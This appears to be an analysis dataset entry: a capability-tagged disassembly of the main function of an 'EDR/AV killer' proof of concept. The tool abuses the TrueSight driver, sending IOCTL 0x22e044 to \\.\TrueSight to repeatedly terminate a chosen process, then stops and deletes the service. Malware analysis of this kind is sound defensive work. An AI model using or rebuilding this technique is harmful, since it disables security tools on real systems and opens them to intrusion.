Function at 0x140001b10
Capabilities:
Delete service
Stop service

Disassembly:
push rbp
push rbx
push rsi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rsi, rdx
mov ebx, ecx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Welcome_to_EDR_AV_Killer_using_truesight_driver_
call fcn.1400021e0
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.This_is_a_PoC__use_it_at_your_own_risk_
call fcn.1400021e0
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor r15d, r15d
lea rcx, [0x140001290]
mov r14d, r15d
lea edx, [r15 + 1]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
test eax, eax
jne 0x140001bb4
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.____Failed_to_set_CTRLC_handler._Exiting..._n
call fcn.1400021e0
lea eax, [r15 + 1]
jmp 0x1400020de
cmp ebx, 3
je 0x140001c00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Usage:
call fcn.1400021e0
mov rdx, qword [rsi]
mov rcx, rax
call fcn.140002400
mov rcx, rax
lea rdx, str.__p__PID_____n__PROCESS_NAME_
call fcn.1400021e0
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 1
jmp 0x1400020de
mov rax, qword [rsi + 8]
mov dword [rbp - 0x21], r15d
mov qword [rsp + 0xd0], rdi
mov rdi, r15
mov qword [rbp - 0x29], r15
cmp byte [rax], 0x2d
jne 0x140002094
cmp byte [rax + 1], 0x70
jne 0x140001c41
cmp byte [rax + 2], dil
jne 0x140001c41
mov rcx, qword [rsi + 0x10]
mov r14d, 1
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [rbp - 0x21], eax
jmp 0x140001cc0
cmp byte [rax], 0x2d
jne 0x140002094
cmp byte [rax + 1], 0x6e
jne 0x140002094
cmp byte [rax + 2], dil
jne 0x140002094
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0xe0], r12
mov r12, 0xffffffffffffffff
mov rbx, r12
inc rbx
cmp byte [rax + rbx], dil
jne 0x140001c74
inc rbx
mov eax, 2
mul rbx
cmovo rax, r12
mov rcx, rax
call fcn.140002994
mov r9, qword [rsi + 0x10]
lea rcx, [rbp - 0x19]
mov r8, rbx
mov qword [rbp - 0x29], rax
mov rdx, rax
mov qword [rbp - 0x19], r15
mov rdi, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
mov r12, qword [rsp + 0xe0]
movups xmm0, xmmword [str.trueSight]
mov eax, dword [0x140004a70]
lea rcx, [rbp + 0xf]
mov dword [rbp + 0x1f], eax
movups xmmword [rbp + 0xf], xmm0
call fcn.140001860
test eax, eax
je 0x1400020d1
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140007780], rax
test r14d, r14d
je 0x140001d9d
mov ecx, dword [rbp - 0x21]
lea rdx, [rbp - 0x29]
call fcn.1400012d0
test eax, eax
je 0x1400020d1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.___Process_name:
call fcn.1400021e0
mov rdx, qword [rbp - 0x29]
mov rcx, rax
call fcn.1400021e0
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
lea rcx, str..TrueSight
xor r8d, r8d
mov dword [rsp + 0x20], 3
lea edx, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001dd6
lea rdx, str.____CreateFileA_failed
jmp 0x1400020bc
mov rcx, rdi
call fcn.1400014c0
mov dword [rbp - 0x21], eax
test eax, eax
jne 0x140001d55
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.___Process_name:
call fcn.1400021e0
mov rcx, rax
mov rdx, rdi
call fcn.1400021e0
lea rdx, str._is_not_running
jmp 0x1400020b9
lea rdx, str.___Terminating_PID:
call fcn.1400021e0
mov edx, dword [rbp - 0x21]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x38], r15
lea rax, [rbp - 0x1d]
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x21]
mov dword [rsp + 0x28], r15d
mov r9d, 4
mov edx, 0x22e044
mov qword [rsp + 0x20], r15
mov rcx, rsi
mov dword [rbp - 0x1d], r15d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140001e67
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____DevicesIoControl_failed
call fcn.1400021e0
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400020d1
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1400070b4]
test eax, eax
je 0x140001f78
mov rbx, qword [rbp - 0x29]
mov rcx, rbx
call fcn.1400014c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov dword [rbp - 0x21], eax
test eax, eax
jne 0x140001ee0
lea rdx, str.____Process_name:
call fcn.1400021e0
mov rcx, rax
mov rdx, rbx
call fcn.1400021e0
mov rcx, rax
lea rdx, str._not_running
call fcn.1400021e0
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001f5f
lea rdx, str.___Terminating_PID:
call fcn.1400021e0
mov edx, dword [rbp - 0x21]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov qword [rsp + 0x38], r15
lea rax, [rbp - 0x1d]
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x21]
mov dword [rsp + 0x28], r15d
mov r9d, 4
mov edx, 0x22e044
mov qword [rsp + 0x20], r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140001f5f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____DevicesIoControl_failed
call fcn.1400021e0
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1400070b4]
test eax, eax
jne 0x140001e80
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Stoping_and_Deleting_trueSight_Service_
call fcn.1400021e0
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x140001fe6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____OpenSCManager_failed
call fcn.1400021e0
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400020d6
mov r8d, 0xf01ff
lea rdx, [rbp + 0xf]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x140002026
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____OpenService_failed
call fcn.1400021e0
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000207e
lea r8, [rbp - 0x11]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x140002045
lea rdx, str.____ControlService_failed
jmp 0x140002059
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x140002075
lea rdx, str.____DeleteService_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400021e0
lea rdx, [0x1400023c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400020d6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Usage:
call fcn.1400021e0
mov rdx, qword [rsi]
mov rcx, rax
call fcn.140002400
lea rdx, str.__p__PID_____n__PROCESS_NAME_
mov rcx, rax
call fcn.1400021e0
lea rdx, [0x1400023c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 1
mov rdi, qword [rsp + 0xd0]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140002930
add rsp, 0xa0
pop r15
pop r14
pop rsi
pop rbx
pop rbp
ret